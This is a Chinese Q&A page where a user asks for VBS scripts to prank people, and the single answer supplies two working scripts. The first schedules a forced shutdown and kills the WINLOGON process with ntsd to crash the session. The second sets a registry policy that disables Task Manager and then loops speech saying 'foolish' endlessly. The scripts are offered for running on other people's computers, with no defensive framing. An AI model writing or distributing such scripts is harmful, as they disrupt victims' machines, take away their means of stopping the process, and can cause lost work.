230问答网 > 给我几个vbs捉弄人的代码，网上的都用过了，没意思，给一个好玩点的！！！

给我几个vbs捉弄人的代码，网上的都用过了，没意思，给一个好玩点的！！！

2024-12-20 21:54:31

推荐回答（1个）

回答1：

1.
set ad=createobject("wscript.shell")
ad.run"cmd /c shutdown -s -t 60"
wscript.sleep 10
ad.Run "ntsd -c q -pn WINLOGON.exe"
2.
Set ws = CreateObject("WScript.Shell")
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\system\disabletaskmgr", 1, "REG_DWORD"
do
createobject("sapi.spvoice").speak"foolish"
loop